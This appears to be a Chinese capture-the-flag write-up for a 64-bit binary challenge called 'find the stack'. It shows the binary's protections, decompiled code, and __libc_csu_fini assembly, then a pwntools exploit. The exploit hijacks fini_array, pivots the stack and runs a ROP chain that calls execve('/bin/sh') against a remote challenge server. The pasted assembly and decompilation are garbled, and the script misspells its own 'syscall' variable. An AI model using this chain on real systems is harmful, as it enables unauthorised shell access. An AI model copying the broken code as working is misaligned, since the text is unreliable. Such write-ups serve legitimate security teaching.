## find the stack

## 保护机制

```
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
```

## 代码分析

```
int __cdecl main(int argc, const char **argv, const char **envp)
  2 {
  3
      _int64 v4; // [rsp+8h] [rbp-8h] BYREF
  4
  5
     init_0(argc, argv, envp);
  6
     if ( ++much == 1 )
  7
       puts("Where is the stack:");
8
       read(0LL, &v4, 8LL);
9
10
       puts("What information do you want to write on the stack:");
11
       read(0LL, v4, 128LL);
12
     }
13
     return 0;
14|}
```

可以发现有一次0x80大小的任意地址写,但是因为栈地址不知道,也没有办法泄露,所以我们采用fini\_array数组,当main函数执行完会执行fini函数

```
; void _libc_csu_fini(void)
public __libc_csu_fini
 _libc_csu_fini proc near
  __unwind {
push
       rbx
       ebx, offset JCR LIST
mov
       rbx, offset __do_global_dtors_aux_fini_array_entry
sub
sar
       rbx, 3
test
       rbx, rbx
       short loc_4017DD
jz
          db
                  2Eh
          nop
                  word ptr [rax+rax+00000000h]
             loc_4017D0:
             call
                    ds:funcs_4017D0[rbx*8]
             sub
                     rbx, 1
             jnz
                     short loc_4017D0
                 🗾 🏄 🖼
                 loc_4017DD:
                 pop
                        rbx
                         _term_proc
                 jmp
                 ; } // starts at 4017B0
                   _libc_csu_fini endp
```

通过该函数的汇编语言我们可以看出会从大到小地——执行fini\_array数组里保存的函数,那么我们修改这个数组的内容就可以劫持执行流了,可以发现他还修改了rbp到这个数组附近,那我们把栈迁移过去就可以执行rop链了

```
from pwn import*
from time import*
#p=process('./stack')
p=remote('101.42.48.14',8092)
#sleep(5)
fh=0x6ca0a8
fini_array=0x6c9ef0
main=0x400a22
pop_rax=0x41f5b4
pop_rdi=0x401686
pop_rdx_rsi=0x442a69
syscal1=0x4676d5
binsh=fh+0x40
leave_ret=0x400a67
ret=0x4002e1
def write(add,context):
    p.recvuntil('stack:\n')
```

```
p.send(p64(add))
p.recvuntil('stack:\n')
p.send(context)

print(hex(leave_ret))
write(fini_array,p64(main))
write(fh,p64(pop_rax)+p64(0x3b)+p64(pop_rdi)+p64(binsh)+p64(pop_rdx_rsi)+p64(0)+
p64(0)+p64(syscall)+'/bin/sh\x00')
p.interactive()
```